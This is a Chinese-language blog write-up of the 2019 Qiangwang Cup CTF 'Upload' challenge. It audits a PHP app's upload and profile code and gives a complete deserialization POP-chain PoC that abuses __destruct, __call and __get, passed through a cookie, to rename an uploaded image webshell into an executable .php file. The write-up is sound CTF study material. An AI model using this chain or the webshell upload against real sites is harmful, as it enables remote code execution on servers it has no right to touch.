2019强网杯upload

[强网杯 2019]Upload

www.tar.gz有他的源码,注册以后发现可以文件上传,审计一下他的文件上传功能:
将上传的文件的后缀更改为png

img

然后使用getimagesize检查文件头是否为图片

img

文件上传这里似乎没有太多机会,可能需要哪里辅助一下
这里有个反序列化函数,可以对profile进行赋值

img 底下有两个魔术方法: get:读取不可访问或不存在的属性时调用 call:调用不可访问或不存在的方法时调用 img

看了一下其他地方发现有个destruct方法
img

思路整理

1.文件上传的限制在于后缀名会被强制更改为png
2.可以对cookie的值进行反序列化,会触发get、call魔术方法调用不存在的属性和方法对profile进行重新赋值操作
3.如何将profile和更换文件后缀联系在一起呢?
——————————————————————
我们可以看到在upload_img()函数中有一个copy函数,将filename_tmp的值赋给了filename。那么思路就是这样:
1.先上传一个图片马
2.然后通过cookie传入反序列化内容,其中反序列化的思路应该是这样的:
为了使用call和get方法,所以我们要调用没有的属性和方法,profile.php中没有register中的方法,所以这里就可以先写一波:

$registed=new Register();
$registed->registed=false;
$registed->checker=$profiled;

接下来就会调用profile里面的get和call方法:
首先会调用call方法因为index方法不存在再profile类里面,因为我们的目的是利用call方法调用upload_img(),所以我们需要利用get方法对name赋值,由于get是调用不存在的属性,所以我们这里依旧是利用index来作为一个跳板置换成upload_img(),然后有几个判断是我们需要绕过的,其中包括检查ext是否为png

$profiled=new Profile();
$profiled->except=['index'=>'upload_img'];
$profiled->ext="png";
$profiled->filename="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8111.php";
$profiled->filename_tmp="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8383c2ba7b9a26c39fbe4c61bf398ed4.php";

完整的poc如下

<?php
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if ($this->{$name}) {
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profiled=new Profile();
$profiled->except=['index'=>'upload_img'];
$profiled->ext="png";
$profiled->filename="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8111.php";
$profiled->filename_tmp="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8383c2ba7b9a26c39fbe4c61bf398ed4.php";

$registed=new Register();
$registed->registed= false;
$registed->checker=$profiled;
echo urlencode(base64_encode(serialize($registed)));
?>

这是我在本地构建的,将所有用到的类整合到一个文件里面,方便进行调试查看赋值过程,否则还需要在开头再加上:

namespace app\web\controller;
error_reporting(0);

将序列化后的内容使用cookie传入即可,前提是先上传一个文件马

img img
Author

vague huang

Posted on

2021-07-13

Updated on

2021-07-17

Licensed under

Comments